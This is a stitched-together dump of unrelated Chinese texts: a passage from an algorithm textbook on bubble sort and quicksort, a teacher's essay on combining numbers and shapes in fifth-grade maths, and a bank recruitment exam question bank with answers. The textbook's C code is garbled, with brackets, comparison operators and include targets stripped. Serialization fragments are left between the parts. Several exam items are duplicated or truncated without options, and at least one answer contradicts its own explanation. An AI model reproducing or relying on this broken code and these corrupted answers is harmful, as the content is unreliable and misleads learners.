@#@而“每一趟”都需要从第1位开始进行相邻两个数的比较，将较小的一个数放在后面，比较完毕后向后挪一位继续比较下面两个相邻数的大小，重复此步骤，直到最后一个尚未归位的数，已经归位的数则无需再进行比较（已经归位的数你还比较个啥，浪费表情）。

@#@这个算法是不是很强悍？

@#@记得我每次拍集体照的时候就总是被别人换来换去的，当时特别烦。

@#@不知道发明此算法的人当时的灵感是否来源于此。

@#@啰里吧嗦地说了这么多，下面是代码。

@#@建议先自己尝试去实现一下看看，再来看我是如何实现的。

@#@#includeintmain（）inta100,i,j,t,n;@#@scanf（%d,&@#@n）;@#@/输入一个数n，表示接下来有n个数for（i=1;@#@i=n;@#@i+）/循环读入n个数到数组a中scanf（%d,&@#@ai）;@#@啊哈！

@#@算法10/冒泡排序的核心部分for（i=1;@#@i=n-1;@#@i+）/n个数排序，只用进行n-1趟for（j=1;@#@j=n-i;@#@j+）/从第1位开始比较直到最后一个尚未归位的数，想一想为什么到n-i就可以了。

@#@if（ajaj+1）/比较大小并交换t=aj;@#@aj=aj+1;@#@aj+1=t;@#@for（i=1;@#@i=n;@#@i+）/输出结果printf（%d,ai）;@#@getchar（）;@#@getchar（）;@#@return0;@#@可以输入以下数据进行验证。

@#@1081005022156110009990运行结果是：

@#@01681522501009991000将上面代码稍加修改，就可以解决第1节遗留的问题，如下。

@#@#includestructstudentcharname21;@#@charscore;@#@/这里创建了一个结构体用来存储姓名和分数intmain（）structstudenta100,t;@#@inti,j,n;@#@scanf（%d,&@#@n）;@#@/输入一个数nfor（i=1;@#@i=n;@#@i+）/循环读入n个人名和分数scanf（%s%d,ai.name,&@#@ai.score）;@#@第1章一大波数正在靠近排序11/按分数从高到低进行排序for（i=1;@#@i=n-1;@#@i+）for（j=1;@#@j=n-i;@#@j+）if（aj.scoreaj+1.score）/对分数进行比较t=aj;@#@aj=aj+1;@#@aj+1=t;@#@for（i=1;@#@i=n;@#@i+）/输出人名printf（%sn,ai.name）;@#@getchar（）;@#@getchar（）;@#@return0;@#@可以输入以下数据进行验证。

@#@5huhu5haha3xixi5hengheng2gaoshou8运行结果是：

@#@gaoshouhuhuxixihahahengheng冒泡排序的核心部分是双重嵌套循环。

@#@不难看出冒泡排序的时间复杂度是O（N2）。

@#@这是一个非常高的时间复杂度。

@#@冒泡排序早在1956年就有人开始研究，之后有很多人都尝试过对冒泡排序进行改进，但结果却令人失望。

@#@如DonaldE.Knuth（中文名为高德纳，1974年图灵奖获得者）所说：

@#@“冒泡排序除了它迷人的名字和导致了某些有趣的理论问题这一事实之外，似乎没有什么值得推荐的。

@#@”你可能要问：

@#@那还有没有更好的排序算法呢？

@#@不要走开，请看下节快速排序。

@#@啊哈！

@#@算法12第3节最常用的排序快速排序上一节的冒泡排序可以说是我们学习的第一个真正的排序算法，并且解决了桶排序浪费空间的问题，但在算法的执行效率上却牺牲了很多，它的时间复杂度达到了O（N2）。

@#@假如我们的计算机每秒钟可以运行10亿次，那么对1亿个数进行排序，桶排序只需要0.1秒，而冒泡排序则需要1千万秒，达到115天之久，是不是很吓人？

@#@那有没有既不浪费空间又可以快一点的排序算法呢？

@#@那就是“快速排序”啦！

@#@光听这个名字是不是就觉得很高端呢？

@#@假设我们现在对“61279345108”这10个数进行排序。

@#@首先在这个序列中随便找一个数作为基准数（不要被这个名词吓到了，这就是一个用来参照的数，待会儿你就知道它用来做啥了）。

@#@为了方便，就让第一个数6作为基准数吧。

@#@接下来，需要将这个序列中所有比基准数大的数放在6的右边，比基准数小的数放在6的左边，类似下面这种排列。

@#@31254697108在初始状态下，数字6在序列的第1位。

@#@我们的目标是将6挪到序列中间的某个位置，假设这个位置是k。

@#@现在就需要寻找这个k，并且以第k位为分界点，左边的数都小于等于6，右边的数都大于等于6。

@#@想一想，你有办法可以做到这点吗？

@#@给你一个提示吧。

@#@请回忆一下冒泡排序是如何通过“交换”一步步让每个数归位的。

@#@此时你也可以通过“交换”的方法来达到目的。

@#@具体是如何一步步交换呢？

@#@怎样交换才既方便又节省时间呢？

@#@先别急着往下看，拿出笔来，在纸上画画看。

@#@我高中时第一次学习冒泡排序算法的时候，就觉得冒泡排序很浪费时间，每次都只能对相邻的两个数进行比较，这显然太不合理了。

@#@于是我就想了一个办法，后来才知道原来这就是“快速排序”，请允许我小小地自恋一下（o）。

@#@方法其实很简单：

@#@分别从初始序列“61279345108”两端开始“探测”。

@#@先从右往左找一个小于6的数，再从左往右找一个大于6的数，然后交换它们。

@#@这里可以用两个变量i和j，分别指向序列最左边和最右边。

@#@我们为这两个变量起个好听的名字“哨兵i”和“哨兵j”。

@#@刚开始的时候让哨兵i指向序列的最左边（即i=1），指向数字6。

@#@让哨兵j指向序列的最右边（即j=10），指向数字8。

@#@第1章一大波数正在靠近排序13首先哨兵j开始出动。

@#@因为此处设置的基准数是最左边的数，所以需要让哨兵j先出动，这一点非常重要（请自己想一想为什么）。

@#@哨兵j一步一步地向左挪动（即j），直到找到一个小于6的数停下来。

@#@接下来哨兵i再一步一步向右挪动（即i+），直到找到一个大于6的数停下来。

@#@最后哨兵j停在了数字5面前，哨兵i停在了数字7面前。

@#@现在交换哨兵i和哨兵j所指向的元素的值。

@#@交换之后的序列如下。

@#@61259347108啊哈！

@#@算法14到此，第一次交换结束。

@#@接下来哨兵j继续向左挪动（再次友情提醒，每次必须是哨兵j先出发）。

@#@他发现了4（比基准数6要小，满足要求）之后停了下来。

@#@哨兵i也继续向右挪动，他发现了9（比基准数6要大，满足要求）之后停了下来。

@#@此时再次进行交换，交换之后的序列如下。

@#@61254397108第二次交换结束，“探测”继续。

@#@哨兵j继续向左挪动，他发现了3（比基准数6要小，满足要求）之后又停了下来。

@#@哨兵i继续向右移动，糟啦！

@#@此时哨兵i和哨兵j相遇了，哨兵i和哨兵j都走到3面前。

@#@说明此时“探测”结束。

@#@我们将基准数6和3进行交换。

@#@交换之后的序列如下。

@#@31254697108第1章一大波数正在靠近排序15到此第一轮“探测”真正结束。

@#@此时以基准数6为分界点，6左边的数都小于等于6，6右边的数都大于等于6。

@#@回顾一下刚才的过程，其实哨兵j的使命就是要找小于基准数的数，而哨兵i的使命就是要找大于基准数的数，直到i和j碰头为止。

@#@OK，解释完毕。

@#@现在基准数6已经归位，它正好处在序列的第6位。

@#@此时我们已经将原来的序列，以6为分界点拆分成了两个序列，左边的序列是“31254”，右边的序列是啊哈！

@#@算法16“97108”。

@#@接下来还需要分别处理这两个序列，因为6左边和右边的序列目前都还是很混乱的。

@#@不过不要紧，我们已经掌握了方法，接下来只要模拟刚才的方法分别处理6左边和右边的序列即可。

@#@现在先来处理6左边的序列吧。

@#@左边的序列是“31254”。

@#@请将这个序列以3为基准数进行调整，使得3左边的数都小于等于3，3右边的数都大于等于3。

@#@好了开始动笔吧。

@#@不用找纸了，别以为我不知道你的小伎俩，你肯定又没有动手尝试！

@#@就准备继续往下看了吧。

@#@这里我留了一个空白区域，赶快自己动手模拟一下吧！

@#@如果你模拟得没有错，调整完毕之后的序列的顺序应该是：

@#@21354OK，现在3已经归位。

@#@接下来需要处理3左边的序列“21”和右边的序列“54”。

@#@对序列“21”以2为基准数进行调整，处理完毕之后的序列为“12”，到此2已经归位。

@#@序列“1”只有一个数，也不需要进行任何处理。

@#@至此我们对序列“21”已全部处理完毕，得到的序列是“12”。

@#@序列“54”的处理也仿照此方法，最后得到的序列如下。

@#@12345697108对于序列“97108”也模拟刚才的过程，直到不可拆分出新的子序列为止。

@#@最终将会得到这样的序列：

@#@第1章一大波数正在靠近排序1712345678910到此，排序完全结束。

@#@细心的同学可能已经发现，快速排序的每一轮处理其实就是将这一轮的基准数归位，直到所有的数都归位为止，排序就结束了。

@#@下面上个霸气的图来描述下整个算法的处理过程。

@#@啊哈！

@#@算法18快速排序之所以比较快，是因为相比冒泡排序，每次交换是跳跃式的。

@#@每次排序的时候设置一个基准点，将小于等于基准点的数全部放到基准点的左边，将大于等于基准点的数全部放到基准点的右边。

@#@这样在每次交换的时候就不会像冒泡排序一样只能在相邻的数之间进行交换，交换的距离就大得多了。

@#@因此总的比较和交换次数就少了，速度自然就提高了。

@#@当然在最坏的情况下，仍可能是相邻的两个数进行了交换。

@#@因此快速排序的最差时间复杂度和冒泡排序是一样的，都是O（N2），它的平均时间复杂度为O（NlogN）。

@#@其实快速排序是基于一种叫做“二分”的思想。

@#@我们后面还会遇到“二分”思想，到时候再聊。

@#@先上代码，如下。

@#@#includeinta101,n;@#@/定义全局变量，这两个变量需要在子函数中使用voidquicksort（intleft,intright）inti,j,t,temp;@#@if（leftright）return;@#@temp=aleft;@#@/temp中存的就是基准数i=left;@#@j=right;@#@while（i!

@#@=j）/顺序很重要，要先从右往左找while（aj=temp&@#@ij）j-;@#@/再从左往右找while（ai=temp&@#@ij）i+;@#@/交换两个数在数组中的位置if（ij）/当哨兵i和哨兵j没有相遇时t=ai;@#@ai=aj;@#@aj=t;@#@/最终将基准数归位第1章一大波数正在靠近排序19aleft=ai;@#@ai=temp;@#@quicksort（left,i-1）;@#@/继续处理左边的，这里是一个递归的过程quicksort（i+1,right）;@#@/继续处理右边的，这里是一个递归的过程intmain（）inti,j,t;@#@/读入数据scanf（%d,&@#@n）;@#@for（i=1;@#@i=n;@#@i+）scanf（%d,&@#@ai）;@#@quicksort（1,n）;@#@/快速排序调用/输出排序后的结果for（i=1;@#@i=n;@#@i+）printf（%d,ai）;@#@getchar（）;@#@getchar（）;@#@return0;@#@可以输入以下数据进行验证。

@#@1061279345108运行结果是：

@#@12345678910下面是程序执行过程中数组a的变化过程，带下划线的数表示的是已归位的基准数。

@#@6127934510831254697108213546971081235469710812354697108啊哈！

@#@算法20123456971081234569710812345687910123456789101234567891012345678910快速排序由C.A.R.Hoare（东尼霍尔，CharlesAntonyRichardHoare）在1960年提出，之后又有许多人做了进一步的优化。

@#@如果你对快速排序感兴趣，可以去看看东尼霍尔1962年在C";i:

4;s:

"";i:

5;s:

5537:

"数形结合在五年级数学教中运用例谈@#@紫阳三小潘跃进@#@“数形结合”是数学的重要思想方法之一，而且“数形结合”能培养学生创造性思维、抽象思维和形象思维。

@#@著名数学家华罗庚曾说“数形结合千般好，属性分离万事休。

@#@”可见数形结合的重要性。

@#@@#@例谈1：

@#@运用数形结合巧解组合图形的面积@#@教学中通过“形”来刺激学生的感官，使其首先进行仔细观察，进而得出计算关系，二这种计算关系则涉及“数”。

@#@根据数学问题中“数”的结构，构造出与之相应的几何图形，并运用几何图形的特征、规律来研究和解决问题，这样可以化抽象为直观，易于显露问题的内在联系，同时借助几何图形审题，使之形象化、直观化，把抽象的数学语言转化为直观的图形。

@#@@#@@#@

（1）审题：

@#@整体观察上图是什么图形？

@#@图中有几个三角形？

@#@有什么特征？

@#@@#@

（2）思路分析：

@#@求梯形的面积须知上底、下底和高，该梯形的高为6㎝，关键是上下底。

@#@@#@从图中可知直角三角形中有一个锐角是45°@#@，那么左边为等腰直角三角形，同理推出右边也是等腰直角三角形，于是上下底的和也就是6㎝，根据梯形面积计算公式可得S=6×@#@6÷@#@2=18平方厘米@#@例谈2：

@#@以数想形。

@#@明晰图形的性质@#@通过以数想形，可以有效地帮助理解图形的性质，教学“等底等高的三角形面积相等“这一性质时，呈现”4×@#@3“这一算式，让学生根据这算式在两条平行线之间画三角形，结果学生画出如下图形：

@#@@#@@#@通过观察上图，学生直观发现“不同形状的三角形等底等高时，它们的面积就相等”这一性质，再用课件出示“底6㎝高2厘米的几个三角形”让学生观察、发现：

@#@“面积相等的图形的形状不一定相同的性质。

@#@”@#@例谈3：

@#@以数想形，培养空间想象能力@#@小学生的认知规律一般来说是“直观感知——抽象——抽取数学知识”的过程。

@#@图形是直观感知和抽取数学知识的桥梁，充分发挥图形表象的中介作用，有利于培养学生多角度灵活思考大胆想象的能力。

@#@如看到“4×@#@5”你想到哪些图形？

@#@学生想到的可能是一个长5㎝宽4㎝的长方形；@#@可能是边长5㎝的正方形；@#@还可能是底5厘米高4厘米的平行四边形。

@#@再如看到“4、4、3”“4、4、4”“4、4、6”等你想到的是什么图形？

@#@他通过这种穿梭于图形与数字之间的学习，实现学生对数学内容的深刻理解，也能有效地培养学生的空间想象能力。

@#@@#@例谈4：

@#@数形结合理解算理@#@计算教学是小学数学教学的重要内容，而真正要提高学生的计算能力，算理的理解是基础，不理解算理的计算是机械的，记忆是暂时的，达不到计算思维的融会贯通，也就失去了灵活机智。

@#@算理往往是抽象的。

@#@如何让学生理解算理？

@#@数形结合的方法很实用。

@#@@#@教学异分母分数的加、减法时“+”，让学生画图来理解算理：

@#@“化异分母分数为同分母分数”，实质是吧两个分数化为同分数单位，再相加、减。

@#@@#@@#@很显然，借助图形语言，利用已有知识基础，很容易理解这一算理。

@#@可见，合适的图形及图形演绎推理对学生理解算理的重要性。

@#@@#@例谈5：

@#@巧用数形结合，是数学算理直观化@#@教学：

@#@求小数的近似数教学片断@#@师：

@#@以5.28为例，为什么保留一位小数求近似数要看百分位？

@#@@#@课中出示数轴图：

@#@把5.2和5.3之间平均分成10份，找到5.28对应位置。

@#@@#@师：

@#@从图上看5.28保留一位小数为什么约等于5.3呢？

@#@@#@生：

@#@5.28更接近小数5.3一些。

@#@@#@师：

@#@那5.23呢？

@#@它保留一位小数约等于多少？

@#@@#@生：

@#@百分位是3，离5.2近一些，应是5.2。

@#@@#@师：

@#@5.281在哪儿呢？

@#@5.282呢？

@#@5.289呢？

@#@@#@生：

@#@在5.28和5.29之间@#@师：

@#@这些小数保留一位小数的近似数等于多少呢？

@#@@#@生：

@#@它们保留一位小数结果都等于5.3；@#@从图中明显看出都接近5.3，它们都在5.28－5.29之间，才更接近一位小数5.3，所以只要看百分位上的数就够了。

@#@@#@上述教学，让学生通过观察数轴图，借助数形结合的有关教学策略，引导学生明确为什么保留一位小数要看百分位的算理，使教学算理更加直观，清晰，明了。

@#@@#@例谈6，巧用数形结合思想，使几何问题推导形象化@#@教学中经常会有几何问题推导，这时，通过图形算式计算，以数想形，能有效帮助学生理解图形的性质，巧妙化解教学难点。

@#@@#@平行四边形的面积教学：

@#@@#@师用课件出示如下4个图形，让学生观察计算。

@#@@#@师：

@#@4个图形的形状怎么样？

@#@面积怎么样？

@#@@#@生：

@#@4个图形的形状不相同，但面积都是4×@#@3＝12（平方厘米）@#@师：

@#@可以得到：

@#@不同形状的平等四边形，只要等底等高，它们的面积就相等。

@#@@#@通过让学生观察，计算这一组图形的面积，学生可以轻松发现规律，通过巧用数形结合的方法，使几何问题推导形象化。

@#@@#@";i:

6;s:

25986:

"江西省赣州市赣县区邮政储蓄银行招聘试题及答案@#@　　说明：

@#@本题库收集历年及近期考试真题，全方位的整理归纳备考之用。

@#@@#@　　注意事项：

@#@@#@　　1、答题前，考试务必将自己的姓名，准考证号用黑色签字笔或钢笔填写在答题纸规定的位置。

@#@@#@　　2、监考人员宣布考试结束时，你应立即停止作答。

@#@将题本、答题卡和草稿纸都翻过来留在桌上，待监考人员确认数量无误、允许离开后方可离开。

@#@@#@　　3、特别提醒您注意，所有题目一律在答题卡指定位置答题。

@#@未按要求作答的，不得分。

@#@@#@　　一、选择题（在下列每题四个选项中选择符合题意的，将其选出并把它的标号写在题后的括号内。

@#@@#@　　错选、多选或未选均不得分。

@#@）@#@　　1、金融债券是指依法在我国境内设立的金融机构法人在境内外债券市场发行的、按约定还本付息的有价证券。

@#@目前我国（）金融债券占有较大的比重。

@#@@#@　　A、商业银行@#@　　B、政策性银行@#@　　C、证券公司@#@　　D、财务公司@#@　　【答案】B@#@　　【解析】按发行主体划分，金融债券可以分为政策性银行金融债券、商业银行金融债券、证券公司金融债券、财务公司金融债券以及其他金融机构发行的金融债券，目前政策性银行金融债券占有较大的比重。

@#@@#@　　2、对于因正当属实的客观原因而使企业不能按时偿还中长期贷款的银行可以对其办理展期，展期（）。

@#@@#@　　A、不能超过原贷款期限的1/4，累计不超过3年@#@　　B、不能超过原贷款期限的1/2，累计不超过3年@#@　　C、不能超过原贷款期限的1/4，累计不超过5年@#@　　D、不能超过原贷款期限的1/2，累计不超过5年@#@　　【答案】B@#@　　【解析】贷款展期不得低于原贷款条件：

@#@短期贷款展期不得超过原贷款期限；@#@中期贷款展期不得超过原贷款期限的一半；@#@长期贷款展期最长不得超过3年。

@#@@#@　　3、在商业银行流动性风险管理中，流动性比例为流动性资产余额与（）之比。

@#@@#@　　A、流动性负债余额@#@　　B、负债总额@#@　　C、贷款余额@#@　　D、风险资产总额@#@　　【答案】A@#@　　【解析】流动性比例的计算公式为：

@#@流动性比例＝流动性资产余额/流动性负债余额×@#@100%。

@#@@#@　　4、货币当局大量买进外汇时，将导致本币（）。

@#@@#@　　A、汇率上涨@#@　　B、汇率下跌@#@　　C、退出流通@#@　　D、迅速回笼@#@　　【答案】B@#@　　【解析】货币当局大量买进外汇，外汇的需求增加，外汇升值，本币相对贬值，本币汇率下跌。

@#@故选B。

@#@@#@　　5、基于认知的选择性，当消费者面对众多营销刺激时，一般更容易选择（）的外部刺激。

@#@@#@　　A、与别人的需要有关@#@　　B、与本人的预期相符@#@　　C、与其他刺激类似@#@　　D、只出现一次@#@　　【答案】B@#@　　【解析】认知的选择性与客观刺激物的特征、消费者的经验与期望和动机有关。

@#@一般在下列情况下，消费者更容易去选择外部刺激物进行信息处理：

@#@一是与消费者目前需要有关的；@#@二是与预期相符的；@#@三是变化幅度大于一般的、较为特殊的刺激物。

@#@故选B。

@#@@#@　　6、流动资金贷款的偿还方式多为（）。

@#@@#@　　A、每半年结算一次利息利随本清@#@　　B、本息一次还清@#@　　C、按月或按季结算利息、到期一次还本@#@　　D、年底一次还清@#@　　【答案】C@#@　　【解析】流动资金贷款的偿还方式多为按月或按季结算利息，到期一次还本。

@#@@#@　　7、以下不属于个人消费贷款的是（）。

@#@@#@　　A、个人耐用消费品贷款@#@　　B、助学贷款@#@　　C、个人汽车贷款@#@　　D、个人住房贷款@#@　　【答案】D@#@　　【解析】根据个人贷款用途的不同，个人贷款产品可以分为个人住房贷款、个人消费贷款和个人经营类贷款等。

@#@@#@　　其中，市场上常见的个人消费贷款有：

@#@个人汽车贷款、个人教育贷款、个人耐用消费品贷款、个人消费额度贷款、个人旅游消费贷款和个人医疗贷款等。

@#@@#@　　8、如果一个社会的收入是绝对平衡的，那么，基尼系数将（）。

@#@@#@　　A、等于1B、等于0C、大于1D、小于0@#@　　【答案】B@#@　　【解析】基尼系数的经济含义是指在全部居民收入中，用于进行不平均分配的那部分收入占总收入的百分比。

@#@@#@　　基尼系数最大为“1”，最小等于“0”。

@#@1表示居民之间的收入分配绝对不平均，0表示居民之间的收入分配绝对平均，这两种情况只是在理论上的绝对化形式，基尼系数的实际数值只能介于0～1之间。

@#@@#@　　9、银行在办理支付结算业务时，必须遵守的原则不包括（）。

@#@@#@　　A、恪守信用，履约付款@#@　　B、谁的钱进谁的账，由谁支配@#@　　C、银行不垫款@#@　　D、提示风险@#@　　【答案】D@#@　　【解析】单位、个人和银行办理支付结算时，必须遵守“恪守信用，履约付款；@#@谁的钱进谁的账，由谁支配；@#@银行不垫款”的原则。

@#@@#@　　10、（）是信贷资产证券化的唯一合法受托机构。

@#@@#@　　A、证券公司@#@　　B、商业银行@#@　　C、基金公司@#@　　D、信托公司@#@　　【答案】D@#@　　【解析】我国目前的资产证券化主要有三种类型：

@#@银保监会、人民银行主管的信贷资产证券化，中国证监会主管的企业资产证券化，银行间市场交易商协会主导的资产支持票据。

@#@其中，信托公司是信贷资产证券化的唯一合法受托机构。

@#@@#@　　11、下列属于违法发放贷款罪的主体是（）。

@#@@#@　　A、银行存款@#@　　B、金融机构工作人员@#@　　C、银行信贷资金@#@　　D、金融机构自有资金@#@　　【答案】B@#@　　【解析】违法发放贷款罪，是指银行或者其他金融机构的工作人员，违反国家规定发放贷款，造成重大损失的行为。

@#@其主体是特殊主体，即银行或者其他金融机构及其工作人员；@#@其客体是国家对贷款的管理制度。

@#@@#@　　12、目前我国主要农村金融机构有（）。

@#@@#@　　①农村信用社②农村合作银行③农村商业银行④农村社区银行@#@　　A、①②③@#@　　B、①②④@#@　　C、②③④@#@　　D、①②③④@#@　　【答案】A@#@　　【解析】我国目前主要的农村金融机构有农村信用社、农村合作银行、农村商业银行、村镇银行等，没有农村社区银行。

@#@@#@　　13、下列属于融资租赁在融资方面的作用的是（）。

@#@@#@　　A、缓释企业财务风险@#@　　B、保障应收账款及时收回@#@　　C、提升企业的产业链竞争优势@#@　　D、增强存量资产的经济效益@#@　　【答案】A@#@　　【解析】BC两项属于在经营管理方面的作用；@#@D项属于在资产管理方面的作用。

@#@@#@　　14、下列哪一项不属于债券的基本特点（）。

@#@@#@　　A、偿还性@#@　　B、风险性@#@　　C、收益性@#@　　D、流动性@#@　　【答案】B@#@　　【解析】债券的基本特点包括偿还性、安全性、流动性和收益性。

@#@@#@　　15、货币在充当商品流通媒介时发挥的职能是（）。

@#@@#@　　A、价值尺度@#@　　B、流通手段@#@　　C、贮藏手段@#@　　D、支付手段@#@　　【答案】B@#@　　【解析】流通手段是货币在商品交换过程中充当交换媒介时所发挥的职能。

@#@@#@　　16、以下不属于个人消费贷款的是（）。

@#@@#@　　其中，市场上常见的个人消费贷款有：

@#@个人汽车贷款、个人教育贷款、个人耐用消费品贷款、个人消费额度贷款、个人旅游消费贷款和个人医疗贷款等。

@#@@#@　　17、社会主义生产的目的是（）。

@#@@#@　　A、发展社会生产力@#@　　B、满足人民日益增长的物质文化需要@#@　　C、消灭剥削，消除两极分化@#@　　D、实现共同富裕@#@　　【答案】B@#@　　【解析】满足人民日益增长的物质文化需要是社会主义生产的目的。

@#@ACD三项是社会主义的本质。

@#@@#@　　18、下列合同中不能产生留置权的是（）。

@#@@#@　　A、买卖合同@#@　　B、加工承揽合同@#@　　C、保管合同@#@　　D、运输合同@#@　　【答案】A@#@　　【解析】留置权是指债权人按照合同的约定占有债务人的动产，债务人未履行到期债务的，债权人有权依照法律规定留置财产，并有权就该动产优先受偿。

@#@留置权只能发生在特定的合同关系中，如保管合同、运输合同和加工承揽合同。

@#@@#@　　19、下列合同中不能产生留置权的是（）。

@#@留置权只能发生在特定的合同关系中，如保管合同、运输合同和加工承揽合同。

@#@@#@　　20、下列选项中不属于中国政策性银行的是（）。

@#@@#@　　A、国家开发银行@#@　　B、中国进出口银行@#@　　C、农村商业银行@#@　　D、中国农业发展银行@#@　　【答案】C@#@　　【解析】中国政策性银行包括国开行、农业发展银行和进出口银行。

@#@农村商业银行属于存款类金融机构。

@#@@#@　　21、对借款人确因暂时经营困难等原因不能按期归还贷款本息的，贷款人可与借款人协商采取的处理措施不包括（）。

@#@@#@　　A、展期@#@　　B、续贷@#@　　C、贷款重组@#@　　D、追加担保@#@　　【答案】D@#@　　【解析】出现重大预警信号时，贷款人应根据合同约定及时采取提前收贷、追加担保等有效措施防范化解贷款风险。

@#@对借款人确因暂时经营困难等原因不能按期归还贷款本息的，贷款人可与借款人协商采取展期、续贷、贷款重组等处理措施。

@#@@#@　　22、我国已不再实施宽松的、扩张型的货币政策，现行的货币政策的核心是（）。

@#@@#@　　A、增加赤字减少税收和扩大支出@#@　　B、处理好稳增长调结构控物价防风险的关系@#@　　C、保持对通货膨胀高度警惕优化信贷机构和融资结构@#@　　D、为低通胀促增长促就业保持国际收支基本平衡服务@#@　　【答案】D@#@　　【解析】中国已经不再是宽松的、扩张型的货币政策。

@#@今年中国货币政策的动向，“中国的货币政策是为低通胀、促增长、促就业、保持国际收支基本平衡这4项目标共同服务的。

@#@@#@　　23、在社会主义初级阶段的收入分配制度中，各种生产要素应按（）参与分配。

@#@@#@　　A、投入的实际数量@#@　　B、投入者的企业性质@#@　　C、在生产过程中的稀缺程度@#@　　D、在生产过程中的贡献@#@　　【答案】D@#@　　【解析】按生产要素分配是指按照资本、土地、劳动、技术等各生产要素在生产过程中的贡献进行分配。

@#@故选D。

@#@@#@　　24、关于费雪方程式，下列说法不正确的是（）。

@#@@#@　　A、公式中的V代表了单位时间内货币的平均周转次数@#@　　B、方程表明名义收入等于货币存量和流通速度的乘积@#@　　C、Y取决于资本、劳动力及自然资源的供给状况和生产技术等非货币因素@#@　　D、交易方程式中的V和Y两个变量在长期中都不受M变动的影响@#@　　【答案】A@#@　　【解析】费雪方程式为MV＝PY，其中，V是制度因素影响的，在短期内不变，可视为常数，取决于人们的支付习惯、信用发达程度、运输条件等社会因素。

@#@@#@　　25、商业银行经营管理以（）为目标。

@#@@#@　　A、盈利性@#@　　B、安全性@#@　　C、流动性@#@　　D、稳定性@#@　　【答案】A@#@　　【解析】商业银行经营管理以盈利性为目标、以流动性和安全性为基本原则，三者既矛盾又统一。

@#@@#@　　26、我国商业银行不得在境内进行的业务有（）。

@#@@#@　　A、代售基金@#@　　B、黄金交易@#@　　C、证券经营@#@　　D、外汇买卖@#@　　【答案】C@#@　　【解析】@#@　　《商业银行法》第四十三条规定：

@#@@#@　　“商业银行在中华人民共和国境内不得从事信托投资和证券经营业务，不得向非自用不动产投资或者向非银行金融机构和企业投资，但国家另有规定的除外。

@#@”限制银行从事信托投资、证券经营业务和向非自用不动产投资和企业投资，主要是为了贯彻金融分业经营的原则，防范金融风险，维护金融安全。

@#@@#@　　27、实行直接标价法的国家，如果汇率下降，表明本国货币对外国货币（）。

@#@@#@　　A、贬值@#@　　B、浮动@#@　　C、不变@#@　　D、升值@#@　　【答案】D@#@　　【解析】直接标价法是指用以1单位外币折合多少本币来表示汇率。

@#@汇率下降，单位外币折合成本币数下降，外币贬值，本币升值。

@#@故选D。

@#@@#@　　28、收入状况是决定货币需求的主要因素之一，在一般情况下，货币需求量与收入水平（）。

@#@@#@　　A、正相关@#@　　B、负相关@#@　　C、无关@#@　　D、不确定@#@　　【答案】A@#@　　【解析】收入状况是决定货币需求的主要因素之一。

@#@在一般情况下，货币需求量与收入水平成正比，当居民、企业等经济主体的收入增加时，他们对货币的需求也会增加；@#@当其收入减少时，他们对货币的需求也会减少。

@#@@#@　　29、我国商业银行不得在境内进行的业务有（）。

@#@@#@　　A、代售基金@#@　　B、黄金交易@#@　　C、证券经营@#@　　D、外汇买卖@#@　　【答案】C@#@　　【解析】@#@　　《商业银行法》第四十三条规定：

@#@”限制银行从事信托投资、证券经营业务和向非自用不动产投资和企业投资，主要是为了贯彻金融分业经营的原则，防范金融风险，维护金融安全。

@#@@#@　　30、反洗钱工作已经涵盖了（）、恐怖融资和扩散融资三方面内容。

@#@@#@　　A、违规行为@#@　　B、行政犯罪@#@　　C、司法处置@#@　　D、刑事犯罪@#@　　【答案】D@#@　　【解析】随着国际、国内犯罪形式的不断发展，反洗钱工作的内涵和外延也在不断扩大。

@#@按照金融行动特别工作组40项建议的规定，反洗钱工作已经涵盖了刑事犯罪、恐怖融资和扩散融资三方面内容。

@#@@#@　　31、无法消除，但事先可以进行控制或计算的误差是（）。

@#@@#@　　A、登记性误差@#@　　B、有意虚报、瞒报造成的误差@#@　　C、抄录错误造成的误差@#@　　D、代表性误差@#@　　【答案】D@#@　　【解析】代表性误差是在用样本数据进行推断时所产生的随机误差。

@#@无法消除，但事先可以进行控制或计算。

@#@@#@　　登记性误差是调查过程中由于调查者或被调查者的人为因素所造成的误差。

@#@从理论上讲，登记性误差是可以消除的。

@#@故选D。

@#@@#@　　32、远期外汇交易是为了满足客户保值或自身风险管理的需要，下列关于银行远期外汇交易的说法，不正确的是（）。

@#@@#@　　A、远期外汇交易需要事前约定交易的币种、金额和汇率@#@　　B、远期外汇交易适用于未来有外币交易需求的客户@#@　　C、远期外汇交易只能够对冲汇率下降的风险@#@　　D、远期外汇交易可按固定交割日交割，也可由交易的某一方选择在一定期限内的任何一天交割@#@　　【答案】C@#@　　【解析】C项，远期外汇交易最大的优点在于能够对冲汇率在未来上升或者下降的风险，因而可以用来进行套期保值或投机。

@#@@#@　　33、（）负责监管互联网支付业务，（）负责监管网络借贷业务、互联网信托业务和互联网消费金融业务。

@#@@#@　　A、银保监会；@#@中国人民银行@#@　　B、中国人民银行；@#@银保监会@#@　　C、银保监会；@#@证监会@#@　　D、中国人民银行；@#@证监会@#@　　【答案】B@#@　　【解析】在监管职责划分上，人民银行负责互联网支付业务的监督管理；@#@银保监会负责包括个体网络借贷和网络小额贷款在内的网络借贷以及互联网信托和互联网消费金融的监督管理；@#@证监会负责股权众筹融资和互联网基金销售的监督管理；@#@银保监会负责互联网保险的监督管理。

@#@@#@　　34、商业银行属于（）。

@#@@#@　　A、金融辅助机构@#@　　B、存款类金融机构@#@　　C、契约型储蓄机构@#@　　D、投资性中介机构@#@　　【答案】B@#@　　【解析】商业银行属于存款类金融机构，存款类金融机构还包括农信社，邮政储蓄等。

@#@@#@　　35、商业银行信用风险管理实践中，设定贷款集中度限额的做法属于（）策略。

@#@@#@　　A、风险补偿@#@　　B、风险对冲@#@　　C、风险转移@#@　　D、风险分散@#@　　【答案】D@#@　　【解析】风险分散是指通过多样化的投资来分散和降低风险的策略性选择。

@#@根据多样化投资分散风险的原理，商业银行的信贷业务应是全面的，而不应集中于同一业务、同一性质甚至同一个借款人。

@#@本题中，设定贷款集中度限额的做法采用的正是风险分散策略。

@#@@#@　　36、下列指标中，能够反映企业盈利能力的是（）。

@#@@#@　　A、营业利润率@#@　　B、资产负债率@#@　　C、速动比率@#@　　D、存货周转率@#@　　【答案】A@#@　　【解析】BC反映偿债能力；@#@D反映营运能力。

@#@故选A。

@#@@#@　　37、如果某个外汇市场采用了间接标价法表示汇率，那么汇率越高说明（）。

@#@@#@　　A、外币升值@#@　　B、外币贬值@#@　　C、没有变化@#@　　D、不一定@#@　　【答案】B@#@　　【解析】间接标价法是用一单位的本币表示应收多少单位的外币，题目中的汇率变高表示的是汇率数值变大，此时说明一单位的本币可以兑换更多单位的外币，说明本币升值，外币贬值。

@#@故选B。

